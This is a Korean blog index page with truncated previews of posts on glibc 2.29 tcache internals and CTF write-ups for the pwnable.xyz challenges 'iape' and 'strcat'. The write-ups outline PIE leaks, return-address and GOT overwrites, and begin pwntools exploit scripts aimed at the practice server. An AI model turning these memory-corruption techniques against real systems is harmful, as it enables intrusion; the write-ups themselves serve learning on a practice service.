전체 글 (186) 썸네일형 리스트형 (glibc 2.29) tcache_put 전체 코드 아래 더보기 더보기 /* Caller must ensure that we know tc_idx is valid and there's room for more chunks. */ static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx key = tcache; e->next = tcache->en.. (glibc 2.29) tcache_get 전체 코드 더보기 더보기 /* Caller must ensure that we know tc_idx is valid and there's available chunks to remove. */ static __always_inline void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL; return (void *) e; } get address poin.. (glibc 2.29) tcache_init 전체 코드는 아래 더보기 더보기 static void tcache_init(void) { mstate ar_ptr; void *victim = 0; const size_t bytes = sizeof (tcache_perthread_struct); if (tcache_shutting_down) return; arena_get (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); if (!victim && ar_ptr != NULL) { ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } if (ar_ptr != NULL) __libc_lock_unlock (ar_ptr.. pwnable.xyz / iape 로컬에서는 잘만되는데 리모트에서는 깨진다...하... 버전 문제였던것 같다 18.04버전과 20.02버전에서의 PIE상태가 달라서 문제가 생긴 것 같다 PIE하나 릭한 뒤 ret 주소 덮으면 된다 ubuntu 20.02 from pwn import * #context.log_level = "debug" p = remote("svc.pwnable.xyz", 30014) #p = process("./iape") #gdb.attach(p) arr_len = 0x400 ret_len = arr_len + 0x10 win_off = 0xb5b def print_(): p.recvuntil(b"> ") p.sendline(b"3") def leak_append(): p.recvuntil(b"> ") p.sendli.. pwnable.xyz / strcat name에는 128byte 쓰기를 desc는 32byte쓰기가 가능하다 name에 입력을 할 때 마다 128를 최대치로 쪼개서 입력을 받을 수도 있다 fsb가 터지기는하는데 건들 것이 없다 readline함수를 통해 데이터를 입력 받고 strlen으로 길이 구해서 -1해준 값을 반환해 maxlen으로부터 빼게 된다 널 바이트 넣어서 readline의 반환 값이 -1이 되게도록하면 maxlen -= -1이 되서 maxlen을 증가 시킬 수 있다 이후에 desc를 got주소로 변조해서 got주소에 win함수 넣어주면 된다 from pwn import * p = remote("svc.pwnable.xyz", 30013) #p = process("./strcat") printf_got = 0x602040 win.. UAF 보호되어 있는 글입니다. fastbin dup & tcache dup 보호되어 있는 글입니다. dreamhack / nullnull 보호되어 있는 글입니다. 이전 1 ··· 6 7 8 9 10 11 12 ··· 24 다음